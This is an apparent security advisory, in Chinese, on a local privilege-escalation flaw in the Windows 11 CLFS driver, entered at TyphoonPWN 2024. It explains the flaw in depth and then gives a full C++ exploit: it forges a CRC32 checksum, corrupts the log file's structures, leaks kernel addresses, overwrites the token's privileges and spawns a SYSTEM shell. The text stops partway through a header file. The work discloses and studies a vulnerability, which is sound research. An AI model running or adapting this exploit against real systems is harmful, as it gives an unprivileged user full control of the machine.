概括
通用日志文件系统 (CLFS) 驱动程序中的漏洞允许本地用户在 Windows 11 上获得提升权限。
该漏洞存在于CClfsBaseFilePersisted::WriteMetadataBlock函数中,由于ClfsDecodeBlock没有检查返回值,有可能破坏CLFS内部结构的数据,从而允许攻击者提升权限。
此漏洞还允许攻击者泄露内核池地址,该地址可用于绕过NtQuerySystemInformation将在 Windows 11 24H2 中发布的缓解措施。然而,用于 TyphoonPWN 2024 的 PoC 不会利用此原语,因为目标机器将使用 Windows 11 23H2。
信用
参加 TyphoonPWN 2024 并获得第一名的独立安全研究员。
供应商回应
供应商告诉我们,该漏洞是重复的,并且已经修复,但在 Windows 11 最新版本上尝试时,该漏洞仍然有效。我们从未收到 CVE 编号或补丁信息。
受影响的版本
Windows 11 23H2
技术分析
CLFS 内部-为了对 CLFS 内部有基本的了解,建议阅读以下资源:
-
CLFS 内部结构(作者:Alex Ionescu)
https://github.com/ionescu007/clfs-docs
关于CLFS文件的一些基本知识.blk:
-
它是内存中 CLFS 结构的磁盘表示,不包含内核地址等敏感数据
-
它由多个块组成,每个块有一个或多个扇区,每个扇区0x200长度为字节
-
每次我们对 CLFS 文件进行更改时,更改都会刷新到磁盘
-
每个块都有其头部,由CLFS_LOG_BLOCK_HEADER结构表示
元数据块刷新工作流程如下:
-
保存所有CClfsContainer指针并从内部结构中清除它们,以防止将内核地址泄漏到.blk文件中
-
对块进行编码以便保存
-
将块刷新到磁盘
-
解码块以供内存使用
-
恢复所有CClfsContainer指向内部结构的指针
编码过程将用 2 个字节标记元数据块的每个扇区的末尾,该 2 个字节由Usn块的值组成,奇偶校验值取决于该扇区在块中的位置。然后它将计算块的 CRC32 校验和并将其保存到Checksum块头的字段中。每个扇区的结束字节将保存到Signature数组中。代码(没有任何检查)如下:
static void EncodeBlock(PUCHAR pBlock)
{
PCLFS_LOG_BLOCK_HEADER pLogBlockHeader = (PCLFS_LOG_BLOCK_HEADER)pBlock;
UCHAR cUsn = pLogBlockHeader->Usn;
UCHAR cParity = 0x10;
USHORT curParity = cUsn << 8;
PUSHORT pSignatures = (PUSHORT)(pBlock + pLogBlockHeader->SignaturesOffset);
for (int i = 0; i < pLogBlockHeader->TotalSectorCount; ++i)
{
if (i == 0)
*(PUCHAR)&curParity = cParity | 0x40;
else if (i == pLogBlockHeader->TotalSectorCount - 1)
{
if (i == 0)
*(PUCHAR)&curParity = cParity | 0x60;
else
*(PUCHAR)&curParity = cParity | 0x20;
}
else
*(PUCHAR)&curParity = cParity;
pSignatures[i] = *(PUSHORT)(pBlock + 0x200 * i + 0x1fe);
*(PUSHORT)(pBlock + 0x200 * i + 0x1fe) = curParity;
}
pLogBlockHeader->Checksum = 0;
pLogBlockHeader->Checksum = crc32.Compute((const PUCHAR)pLogBlockHeader, pLogBlockHeader->TotalSectorCount << 9);
}
解码过程将使用块数组中的信息恢复编码过程中被标签覆盖的字节Signature。但是,如果校验和为0xffffffff,它将保持块原样并返回STATUS_LOG_BLOCK_INVALID:
NTSTATUS __fastcall ClfsDecodeBlock(
struct _CLFS_LOG_BLOCK_HEADER *a1,
unsigned int a2,
char a3,
unsigned __int8 a4,
unsigned int *a5)
{
ULONG Checksum; // r11d
Checksum = a1->Checksum;
if ( Checksum )
{
if ( Checksum != 0xFFFFFFFF )
{
a1->Checksum = 0;
if ( Checksum == (unsigned int)CCrc32::ComputeCrc32(&a1->MajorVersion, a2 << 9) )
return ClfsDecodeBlockPrivate(a1, a2, a3, a4, a5);
a1->Checksum = Checksum;
}
}
else if ( (a4 & 0x10) == 0 || a1->MajorVersion < 0xFu )
{
return ClfsDecodeBlockPrivate(a1, a2, a3, a4, a5);
}
return STATUS_LOG_BLOCK_INVALID;
}
众所周知,我们可以通过修改/向原始数据添加一些字节来强制对任何数据进行 CRC32 校验。请参阅此博客了解示例实现。因此,我们可以操纵 CRC32 校验0xffffffff和并防止块解码。
在 中CClfsBaseFilePersisted::WriteMetadataBlock,没有检查 的返回值ClfsDecodeBlock,因此日志块处于“已编码”状态,扇区末尾仍带有标记。如果某些重要数据位于某些扇区的末尾,我们可以用编码标记覆盖它,从而产生副作用并实现权限提升。
触发漏洞并破坏内部 CLFS 结构
目标将与容器结构和客户端结构重叠,因此我们可以重用以前使用过的漏洞策略。
首先,我们使用创建一个日志文件,然后使用带有控制代码的CreateLogFile添加一个容器。关闭 CLFS 句柄。DeviceIoControl
0x8007A808
接下来我们.blk使用打开文件CreateFile来直接修改文件结构:
pLogBlockHeader = (PCLFS_LOG_BLOCK_HEADER)(BlfData + pControlRecord->rgBlocks[2].cbOffset);
pBaseRecordHeader = (PCLFS_BASE_RECORD_HEADER)((char *)pLogBlockHeader + pLogBlockHeader->RecordOffsets[0]);
// Decode the block
DecodeBlock((PUCHAR)pLogBlockHeader);
// Extend the symbol zone so we can move structures farther
pBaseRecordHeader->cbSymbolZone = 0x2000;
// We move the client structure to offset 0x1fe0
// The reason why we have to copy 0x30 bytes before is because of the CLFSHASHSYM struct that precedes client struct
memmove((PUCHAR)pBaseRecordHeader + 0x2010 - 0x30 - 0x30,
(PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0] - 0x30, 0xb8);
pBaseRecordHeader->rgClients[0] = 0x2010 - 0x30;
for (int i = 0; i < 11; ++i)
{
if (pBaseRecordHeader->rgClientSymTbl[i] == 0x1338)
{
pBaseRecordHeader->rgClientSymTbl[i] = 0x2010 - 0x30 - 0x30;
break;
}
}
// Fixup the CLFSHASHSYM of the client
pHashSymClient = (PCLFSHASHSYM)((PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0] - 0x30);
pHashSymClient->cbOffset = pBaseRecordHeader->rgClients[0];
pHashSymClient->cbSymName = pBaseRecordHeader->rgClients[0] + sizeof(CLFS_CLIENT_CONTEXT);
// We create a copy of the container inside the moved client, at offset 0x2010
// The reason why we have to copy 0x30 bytes before is because of the CLFSHASHSYM struct that precedes container struct
memmove((PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0] + 0x20,
(PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgContainers[0] - 0x10, 0x28);
// Fixup the CLFSHASHSYM of the container
pHashSymContainer = (PCLFSHASHSYM)((PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0]);
pHashSymContainer->cbOffset = 0x2010;
pHashSymContainer->cbSymName = 0x2010 + sizeof(CLFS_CONTAINER_CONTEXT);
// Modify pContainer field to BUFFER_ADDR
// This points to a fake CClfsContainer structure which we will prepare later for our exploit
// The pContainer field of the container overlaps with the lsnBase field of the client, and this field is cached at first, then restored when flushing metadata
pContainerContext = (PCLFS_CONTAINER_CONTEXT)((PUCHAR)pBaseRecordHeader + 0x2010);
pContainerContext->pContainer = (PVOID)BUFFER_ADDR;
// Move the whole base record so that rgContainers[0] is at sector's end
memmove((PUCHAR)pBaseRecordHeader + 0x66, (PUCHAR)pBaseRecordHeader,
sizeof(CLFS_BASE_RECORD_HEADER) + pBaseRecordHeader->cbSymbolZone);
pLogBlockHeader->RecordOffsets[0] += 0x66;
// Manipulate the Usn to control the sector tag when encoding
pLogBlockHeader->Usn = 0x20;
现在我们对块中的一些未使用的字节进行操作,以便当我们启用归档时,块的 CRC32 校验和将变为0xffffffff:
// Simulate the change in DumpCount, this field will increase each time the block is flushed to disk
pBaseRecordHeader = (PCLFS_BASE_RECORD_HEADER)((char *)pLogBlockHeader + pLogBlockHeader->RecordOffsets[0]);
pBaseRecordHeader->hdrBaseRecord.ullDumpCount = 0x1338;
// Simulate the changes when enabling archive
pClientContext = reinterpret_cast<PCLFS_CLIENT_CONTEXT>(reinterpret_cast<PUCHAR>(pBaseRecordHeader) +
pBaseRecordHeader->rgClients[0]);
pClientContext->fAttributes |= FILE_ATTRIBUTE_ARCHIVE;
pClientContext->lsnArchiveTail = pClientContext->lsnLast = pClientContext->lsnBase;
// Encode the block
EncodeBlock((PUCHAR)pLogBlockHeader);
// Change some unused bytes to forge CRC32 checksum
pLogBlockHeader->Checksum = 0;
crc32.Forge(0xffffffff, (PUCHAR)pLogBlockHeader, pLogBlockHeader->TotalSectorCount << 9, 0x7800);
// Decode the block
DecodeBlock((PUCHAR)pLogBlockHeader);
// Revert the changes we made above
pBaseRecordHeader->hdrBaseRecord.ullDumpCount = 0x1337;
pClientContext->fAttributes &= ~FILE_ATTRIBUTE_ARCHIVE;
pClientContext->lsnArchiveTail.Internal = pClientContext->lsnLast.Internal = 0;
// Encode the block for writing to disk
EncodeBlock((PUCHAR)pLogBlockHeader);
保存文件然后CreateLogFile再次打开 CLFS 文件。
现在我们调用SetLogArchiveMode(hLogFile, ClfsLogArchiveEnabled)。在此调用期间,日志块的 CRC32 校验和将变为0xffffffff。CClfsBaseFilePersisted::WriteMetadataBlock将被调用,并且ClfsDecodeBlock不会真正解码日志块。该函数仍然成功返回。
目前,容器结构和客户端结构是重叠的,因为扇区标记0x2010已写入rgContainers[0]。
然后我们调用SetLogArchiveMode(hLogFile, ClfsLogArchiveDisabled)来恢复一些状态以使漏洞能够正常工作。
准备假的 CClfsContainer
由于 Windows 没有 SMAP,我们可以在用户空间中准备伪结构。我们选择BUFFER_ADDR = 0x500000000作为伪结构的地址。
伪结构将如下所示:
*(ULONG_PTR *)(Buffer) = (ULONG_PTR)Buffer + 0x800; // fake vftable
*(HANDLE *)(Buffer + 0x20) = INVALID_HANDLE_VALUE; // m_hPhysicalContainer
*(ULONG_PTR *)(Buffer + 0x30) = (ULONG_PTR)KThreadAddr + PREVIOUSMODE_OFFSET + 0x30; // m_pFileObject
HMODULE hClfs = LoadLibrary(L"C:\Windows\system32\drivers\clfs.sys");
*(ULONG_PTR *)(Buffer + 0x808) = // fake vftable + 0x8, real vftable entry is CClfsContainer::Release
(ULONG_PTR)CLFSAddr + ((ULONG_PTR)GetProcAddress(hClfs, "ClfsSetEndOfLog") - (ULONG_PTR)hClfs);
// We chose ClfsSetEndOfLog because this function will do nothing and will not interfere with the exploit
泄漏clfs.sys地址
使用NtQuerySystemInformation与SystemModuleInformation类,我们将能够检索的基地址clfs.sys。
泄漏当前进程的 KTHREAD 和 EPROCESS
使用NtQuerySystemInformation类SystemExtendedHandleInformation,我们将能够检索当前进程KTHREAD的地址。EPROCESS
将 PreviousMode 设置为 0
关闭 CLFS 句柄时:
-
该函数将为客户端CClfsLogFcbPhysical::FlushMetadata恢复缓存,从而使指向该类的指针等于。
lsnBase
0x500000000
CClfsContainer
0x500000000
-
代码将调用该CClfsLogFcbPhysical::CloseContainers函数来关闭所有容器。
-
0x500000000将作为指针传递给CClfsContainer::Close函数。
CClfsContainer::Close将调用,这将减少我们指向当前线程ObfDereferenceObject(m_pFileObject)的的引用计数。当前线程的将变为,这使我们能够绕过许多 API 上的用户模式地址检查,并且我们现在可以在调用这些 API 时提供内核地址。m_pFileObject
PreviousMode
PreviousMode
0
提升权限
既然PreviousMode当前线程的 为,我们就可以直接在内核内存上0使用NtReadVirtualMemory和 了。利用之前泄露的地址,我们可以获取当前进程使用的地址。然后,我们修改 的字段以启用所有权限。NtWriteVirtualMemory
EPROCESS
Token
NtReadVirtualMemory
Privileges
Token
此时,我们可以在系统上执行特权操作。PoC 将cmd.exe在 下生成一个子进程winlogon.exe,并在该帐户下运行SYSTEM。
Exploit
#define UMDF_USING_NTSTATUS
#include <algorithm>
#include <memory>
#include <random>
#include <string>
#include "clfspriv.h"
#include "crc32.h"
#include "ntdll.h"
#include <psapi.h>
#include <tlhelp32.h>
#define LOG_INFO(x) fprintf(stderr, "[*] %sn", x)
#define LOG_INFO_ADDR(x, p) fprintf(stderr, "[*] %s: %pn", x, p)
#define LOG_ERROR(x) fprintf(stderr, "[-] %s:%d: %s: %dn", __FILE__, __LINE__, x, GetLastError())
#define LOG_ERROR_CODE(x, c) fprintf(stderr, "[-] %s:%d: %s: %xn", __FILE__, __LINE__, x, c)
#define BUFFER_ADDR 0x500000000
#define PREVIOUSMODE_OFFSET 0x232
#define TOKEN_OFFSET 0x4b8
DECLARE_NTDLL_FUNC(NtQuerySystemInformation, (SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation,
ULONG SystemInformationLength, PULONG ReturnLength))
DECLARE_NTDLL_FUNC(NtReadVirtualMemory, (HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer,
ULONG NumberOfBytesToRead, PULONG NumberOfBytesRead))
DECLARE_NTDLL_FUNC(NtWriteVirtualMemory, (HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer,
ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten))
static PVOID KThreadAddr;
static PVOID CLFSAddr;
static PVOID ProcessEPROCESS;
static Crc32 crc32(0xedb88320);
template <typename T> struct SystemInformation
{
NTSTATUS Status;
std::unique_ptr<UCHAR[]> Buffer;
SystemInformation(NTSTATUS status, std::unique_ptr<UCHAR[]> &buffer) : Status(status), Buffer(std::move(buffer))
{
}
T *operator()()
{
return (T *)Buffer.get();
}
};
template <typename T>
static SystemInformation<T> QuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass)
{
for (ULONG size = 1;; size <<= 1)
{
auto buf = std::make_unique<UCHAR[]>(size);
ULONG outSize;
auto status = NtQuerySystemInformation(SystemInformationClass, buf.get(), size, &outSize);
if (status == STATUS_INFO_LENGTH_MISMATCH)
continue;
if (status != STATUS_SUCCESS)
buf.reset();
return SystemInformation<T>(status, buf);
}
}
static std::wstring GetTmpPath()
{
WCHAR buf[MAX_PATH];
GetTempPath2(MAX_PATH, buf);
return buf;
}
static std::wstring GetRandomFileName(size_t length)
{
std::random_device rng;
std::wstring out(length, 0);
std::generate_n(out.begin(), length, [&rng] {
static const WCHAR alphanum[] = L"0123456789"
L"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
L"abcdefghijklmnopqrstuvwxyz";
return alphanum[rng() % (ARRAYSIZE(alphanum) - 1)];
});
return out;
}
static PVOID LeakModuleBase(const char *szPathName)
{
PVOID pImageBase = NULL;
auto info = QuerySystemInformation<RTL_PROCESS_MODULES>(SystemModuleInformation);
if (info.Status != STATUS_SUCCESS)
{
LOG_ERROR_CODE("QuerySystemInformation", info.Status);
return NULL;
}
for (ULONG i = 0; i < info()->NumberOfModules; i++)
{
if (!_stricmp((char *)info()->Modules[i].FullPathName, szPathName))
{
pImageBase = info()->Modules[i].ImageBase;
break;
}
}
return pImageBase;
}
static PVOID LeakHandleObject(DWORD dwProcessId, HANDLE hHandle)
{
PVOID pObject = NULL;
auto info = QuerySystemInformation<SYSTEM_HANDLE_INFORMATION_EX>(SystemExtendedHandleInformation);
if (info.Status != STATUS_SUCCESS)
{
LOG_ERROR_CODE("QuerySystemInformation", info.Status);
return NULL;
}
for (ULONG i = 0; i < info()->HandleCount; i++)
{
if (info()->Handles[i].UniqueProcessId == reinterpret_cast<HANDLE>(dwProcessId) &&
info()->Handles[i].HandleValue == hHandle)
{
pObject = info()->Handles[i].Object;
break;
}
}
return pObject;
}
static int Setup()
{
PUCHAR Buffer;
HANDLE hThread;
HANDLE hProcess;
LOG_INFO("Retrieving ntdll functions");
BEGIN_NTDLL_IMPORT();
NTDLL_IMPORT(NtQuerySystemInformation);
NTDLL_IMPORT(NtReadVirtualMemory);
NTDLL_IMPORT(NtWriteVirtualMemory);
END_NTDLL_IMPORT();
LOG_INFO("Getting KTHREAD");
if (!DuplicateHandle(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), &hThread, 0, FALSE,
DUPLICATE_SAME_ACCESS))
{
LOG_ERROR("DuplicateHandle");
return -1;
}
if ((KThreadAddr = LeakHandleObject(GetCurrentProcessId(), hThread)) == NULL)
{
LOG_ERROR("LeakKTHREAD");
return -1;
}
LOG_INFO_ADDR("KTHREAD", KThreadAddr);
CloseHandle(hThread);
LOG_INFO("Getting CLFS.SYS");
if ((CLFSAddr = LeakModuleBase("\systemroot\system32\drivers\clfs.sys")) == NULL)
{
LOG_ERROR("LeakModuleBase");
return -1;
}
LOG_INFO_ADDR("CLFS.SYS", CLFSAddr);
LOG_INFO("Getting process EPROCESS");
if (!DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), &hProcess, 0, FALSE,
DUPLICATE_SAME_ACCESS))
{
LOG_ERROR("DuplicateHandle");
return -1;
}
if ((ProcessEPROCESS = LeakHandleObject(GetCurrentProcessId(), hProcess)) == NULL)
{
LOG_ERROR("LeakEPROCESS");
return -1;
}
LOG_INFO_ADDR("ProcessEPROCESS", ProcessEPROCESS);
CloseHandle(hProcess);
LOG_INFO("Preparing fake container");
Buffer = (PUCHAR)VirtualAlloc((LPVOID)BUFFER_ADDR, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (Buffer == NULL)
{
LOG_ERROR("VirtualAlloc");
return -1;
}
*(ULONG_PTR *)(Buffer) = (ULONG_PTR)Buffer + 0x800;
*(HANDLE *)(Buffer + 0x20) = INVALID_HANDLE_VALUE;
*(ULONG_PTR *)(Buffer + 0x30) = (ULONG_PTR)KThreadAddr + PREVIOUSMODE_OFFSET + 0x30;
HMODULE hClfs = LoadLibrary(L"C:\Windows\system32\drivers\clfs.sys");
if (hClfs == NULL)
{
LOG_ERROR("LoadLibrary");
return -1;
}
*(ULONG_PTR *)(Buffer + 0x808) =
(ULONG_PTR)CLFSAddr + ((ULONG_PTR)GetProcAddress(hClfs, "ClfsSetEndOfLog") - (ULONG_PTR)hClfs);
FreeLibrary(hClfs);
return 0;
}
static void DecodeBlock(PUCHAR pBlock)
{
PCLFS_LOG_BLOCK_HEADER pLogBlockHeader = (PCLFS_LOG_BLOCK_HEADER)pBlock;
PUSHORT pSignatures = (PUSHORT)(pBlock + pLogBlockHeader->SignaturesOffset);
for (int i = pLogBlockHeader->TotalSectorCount - 1; i >= 0; --i)
*(PUSHORT)(pBlock + 0x200 * i + 0x1fe) = pSignatures[i];
}
static void EncodeBlock(PUCHAR pBlock)
{
PCLFS_LOG_BLOCK_HEADER pLogBlockHeader = (PCLFS_LOG_BLOCK_HEADER)pBlock;
UCHAR cUsn = pLogBlockHeader->Usn;
UCHAR cParity = 0x10;
USHORT curParity = cUsn << 8;
PUSHORT pSignatures = (PUSHORT)(pBlock + pLogBlockHeader->SignaturesOffset);
for (int i = 0; i < pLogBlockHeader->TotalSectorCount; ++i)
{
if (i == 0)
*(PUCHAR)&curParity = cParity | 0x40;
else if (i == pLogBlockHeader->TotalSectorCount - 1)
{
if (i == 0)
*(PUCHAR)&curParity = cParity | 0x60;
else
*(PUCHAR)&curParity = cParity | 0x20;
}
else
*(PUCHAR)&curParity = cParity;
pSignatures[i] = *(PUSHORT)(pBlock + 0x200 * i + 0x1fe);
*(PUSHORT)(pBlock + 0x200 * i + 0x1fe) = curParity;
}
pLogBlockHeader->Checksum = 0;
pLogBlockHeader->Checksum = crc32.Compute((const PUCHAR)pLogBlockHeader, pLogBlockHeader->TotalSectorCount << 9);
}
static BOOL AllocContainer(HANDLE hLogFile, PULONGLONG cbContainer, const std::wstring &path)
{
struct AllocContainerContext
{
ULONGLONG cbContainer;
USHORT cContainer;
};
DWORD sz = sizeof(AllocContainerContext) + 2 * (path.size() + 1);
auto ptr = std::make_unique<UCHAR[]>(sz);
AllocContainerContext *ctx = reinterpret_cast<AllocContainerContext *>(ptr.get());
ctx->cbContainer = *cbContainer;
ctx->cContainer = 1;
wcscpy_s(reinterpret_cast<PWCHAR>(ptr.get() + sizeof(AllocContainerContext)), path.size() + 1, path.c_str());
DWORD bytesReturned;
return DeviceIoControl(hLogFile, 0x8007A808, ctx, sz, cbContainer, sizeof(ULONGLONG), &bytesReturned, NULL);
}
static BOOL CraftVictimLog(const std::wstring &logFile)
{
static UCHAR BlfData[0x10000];
ULONG dwNumberOfBytesRead;
ULONGLONG cbContainer = 512 * 1024;
PCLFS_BASE_RECORD_HEADER pBaseRecordHeader;
PCLFS_LOG_BLOCK_HEADER pLogBlockHeader;
PCLFS_CONTROL_RECORD pControlRecord;
PCLFSHASHSYM pHashSymClient, pHashSymContainer;
PCLFS_CONTAINER_CONTEXT pContainerContext;
PCLFS_CLIENT_CONTEXT pClientContext;
LOG_INFO("Creating initial log file");
HANDLE hLogFile = CreateLogFile((L"LOG:" + logFile).c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, 0);
if (hLogFile == INVALID_HANDLE_VALUE)
{
LOG_ERROR("CreateLogFile");
goto err;
}
if (!AllocContainer(hLogFile, &cbContainer, CLFS_CONTAINER_RELATIVE_PREFIX + GetRandomFileName(8)))
{
LOG_ERROR("AddLogContainer");
goto err_close;
}
CloseHandle(hLogFile);
LOG_INFO("Patching initial log file");
hLogFile = CreateFile((logFile + CLFS_BASELOG_EXTENSION).c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL,
OPEN_EXISTING, 0, NULL);
if (hLogFile == INVALID_HANDLE_VALUE)
{
LOG_ERROR("CreateFile");
goto err;
}
if (!ReadFile(hLogFile, BlfData, sizeof(BlfData), &dwNumberOfBytesRead, NULL))
{
LOG_ERROR("ReadFile");
goto err_close;
}
SetFilePointer(hLogFile, 0, NULL, FILE_BEGIN);
pLogBlockHeader = (PCLFS_LOG_BLOCK_HEADER)BlfData;
pControlRecord = (PCLFS_CONTROL_RECORD)((char *)pLogBlockHeader + pLogBlockHeader->RecordOffsets[0]);
pLogBlockHeader = (PCLFS_LOG_BLOCK_HEADER)(BlfData + pControlRecord->rgBlocks[2].cbOffset);
pBaseRecordHeader = (PCLFS_BASE_RECORD_HEADER)((char *)pLogBlockHeader + pLogBlockHeader->RecordOffsets[0]);
DecodeBlock((PUCHAR)pLogBlockHeader);
pBaseRecordHeader->cbSymbolZone = 0x2000;
memmove((PUCHAR)pBaseRecordHeader + 0x2010 - 0x30 - 0x30,
(PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0] - 0x30, 0xb8);
pBaseRecordHeader->rgClients[0] = 0x2010 - 0x30;
for (int i = 0; i < 11; ++i)
{
if (pBaseRecordHeader->rgClientSymTbl[i] == 0x1338)
{
pBaseRecordHeader->rgClientSymTbl[i] = 0x2010 - 0x30 - 0x30;
break;
}
}
pHashSymClient = (PCLFSHASHSYM)((PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0] - 0x30);
pHashSymClient->cbOffset = pBaseRecordHeader->rgClients[0];
pHashSymClient->cbSymName = pBaseRecordHeader->rgClients[0] + sizeof(CLFS_CLIENT_CONTEXT);
memmove((PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0] + 0x20,
(PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgContainers[0] - 0x10, 0x28);
pHashSymContainer = (PCLFSHASHSYM)((PUCHAR)pBaseRecordHeader + pBaseRecordHeader->rgClients[0]);
pHashSymContainer->cbOffset = 0x2010;
pHashSymContainer->cbSymName = 0x2010 + sizeof(CLFS_CONTAINER_CONTEXT);
pContainerContext = (PCLFS_CONTAINER_CONTEXT)((PUCHAR)pBaseRecordHeader + 0x2010);
pContainerContext->pContainer = (PVOID)BUFFER_ADDR;
memmove((PUCHAR)pBaseRecordHeader + 0x66, (PUCHAR)pBaseRecordHeader,
sizeof(CLFS_BASE_RECORD_HEADER) + pBaseRecordHeader->cbSymbolZone);
pLogBlockHeader->RecordOffsets[0] += 0x66;
pLogBlockHeader->Usn = 0x20;
// time fo forge
pBaseRecordHeader = (PCLFS_BASE_RECORD_HEADER)((char *)pLogBlockHeader + pLogBlockHeader->RecordOffsets[0]);
pBaseRecordHeader->hdrBaseRecord.ullDumpCount = 0x1338;
pClientContext = reinterpret_cast<PCLFS_CLIENT_CONTEXT>(reinterpret_cast<PUCHAR>(pBaseRecordHeader) +
pBaseRecordHeader->rgClients[0]);
pClientContext->fAttributes |= FILE_ATTRIBUTE_ARCHIVE;
pClientContext->lsnArchiveTail = pClientContext->lsnLast = pClientContext->lsnBase;
EncodeBlock((PUCHAR)pLogBlockHeader);
pLogBlockHeader->Checksum = 0;
crc32.Forge(0xffffffff, (PUCHAR)pLogBlockHeader, pLogBlockHeader->TotalSectorCount << 9, 0x7800);
// revert
DecodeBlock((PUCHAR)pLogBlockHeader);
pBaseRecordHeader->hdrBaseRecord.ullDumpCount = 0x1337;
pClientContext->fAttributes &= ~FILE_ATTRIBUTE_ARCHIVE;
pClientContext->lsnArchiveTail.Internal = pClientContext->lsnLast.Internal = 0;
EncodeBlock((PUCHAR)pLogBlockHeader);
if (!WriteFile(hLogFile, BlfData, sizeof(BlfData), &dwNumberOfBytesRead, NULL))
{
LOG_ERROR("WriteFile");
goto err_close;
}
CloseHandle(hLogFile);
return TRUE;
err_close:
CloseHandle(hLogFile);
err:
return FALSE;
}
static void SpawnShell()
{
PROCESSENTRY32 entry;
HANDLE snapshot;
entry.dwSize = sizeof(PROCESSENTRY32);
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
INT pid = -1;
if (Process32First(snapshot, &entry))
{
while (Process32Next(snapshot, &entry))
{
if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0)
{
pid = entry.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
LOG_INFO("Spawning shell");
HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hWinLogon == INVALID_HANDLE_VALUE)
{
LOG_ERROR("OpenProcess");
return;
}
STARTUPINFOEX si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
SIZE_T size;
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
auto xxx = std::make_unique<UCHAR[]>(size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)xxx.get();
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hWinLogon, sizeof(HANDLE),
NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEX);
wchar_t cmdline[MAX_PATH];
wcscpy_s(cmdline, L"cmd.exe");
if (!CreateProcess(NULL, cmdline, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL,
L"C:\", reinterpret_cast<LPSTARTUPINFO>(&si), &pi))
LOG_ERROR("CreateProcess");
}
static void Exploit()
{
HANDLE hLogFile;
DWORD dwNumberOfBytesRead;
ULONG_PTR Token;
NTSTATUS status;
std::wstring logFile = GetTmpPath() + GetRandomFileName(8);
if (!CraftVictimLog(logFile))
{
LOG_ERROR("CraftVictimLog");
return;
}
LOG_INFO("Open log file");
hLogFile = CreateLogFile((L"LOG:" + logFile).c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0);
if (hLogFile == INVALID_HANDLE_VALUE)
{
LOG_ERROR("CreateLogFile");
return;
}
LOG_INFO("Enable archive");
if (!SetLogArchiveMode(hLogFile, ClfsLogArchiveEnabled))
{
LOG_ERROR("SetLogArchiveMode");
CloseHandle(hLogFile);
return;
}
LOG_INFO("Disable archive");
SetLogArchiveMode(hLogFile, ClfsLogArchiveDisabled);
CloseHandle(hLogFile);
LOG_INFO("Getting current process token");
if ((status = NtReadVirtualMemory(GetCurrentProcess(), (PVOID)((ULONG_PTR)ProcessEPROCESS + TOKEN_OFFSET), &Token,
sizeof(Token), &dwNumberOfBytesRead)) != STATUS_SUCCESS)
{
LOG_ERROR_CODE("NtReadVirtualMemory", status);
return;
}
Token &= 0xfffffffffffffff0;
LOG_INFO_ADDR("Token", Token);
ULONGLONG x[3];
x[0] = x[1] = x[2] = 0xffffffffc;
LOG_INFO("Enabling all privileges");
if ((status = NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)(Token + 0x40), x, sizeof(x),
&dwNumberOfBytesRead)) != STATUS_SUCCESS)
{
LOG_ERROR_CODE("NtWriteVirtualMemory", status);
return;
}
LOG_INFO("Cleaning up");
dwNumberOfBytesRead = 1;
if ((status = NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)((ULONG_PTR)KThreadAddr + PREVIOUSMODE_OFFSET),
&dwNumberOfBytesRead, sizeof(dwNumberOfBytesRead), &dwNumberOfBytesRead)) !=
STATUS_SUCCESS)
LOG_ERROR_CODE("NtWriteVirtualMemory", status);
SpawnShell();
}
int main()
{
if (!Setup())
Exploit();
}
// clspriv.h
#pragma once
#include <Windows.h>
#include <clfsw32.h>
#include <stdbool.h>
#pragma comment(lib, "clfsw32.lib")
typedef UCHAR CLFS_CLIENT_ID;
typedef UCHAR CLFS_LOG_STATE, *PCLFS_LOG_STATE;
typedef struct _CLFS_METADATA_RECORD_HEADER
{
ULONGLONG ullDumpCount;
} CLFS_METADATA_RECORD_HEADER, *PCLFS_METADATA_RECORD_HEADER;
typedef struct _CLFS_BASE_RECORD_HEADER
{
CLFS_METADATA_RECORD_HEADER hdrBaseRecord;
CLFS_LOG_ID cidLog;
ULONGLONG rgClientSymTbl[11];
ULONGLONG rgContainerSymTbl[11];
ULONGLONG rgSecuritySymTbl[11];
ULONG cNextContainer;
CLFS_CLIENT_ID cNextClient;
ULONG cFreeContainers;
ULONG cActiveContainers;
ULONG cbFreeContainers;
ULONG cbBusyContainers;
ULONG rgClients[124];
ULONG rgContainers[1024];
ULONG cbSymbolZone;
ULONG cbSector;
USHORT bUnused;
CLFS_LOG_STATE eLogState;
UCHAR cUsn;
UCHAR cClients;
} CLFS_BASE_RECORD_HEADER, *PCLFS_BASE_RECORD_HEADER;
typedef enum _CLFS_EXTEND_STATE
{
ClfsExtendStateNone = 0x0,
ClfsExtendStateExtendingFsd = 0x1,
ClfsExtendStateFlushingBlock = 0x2,
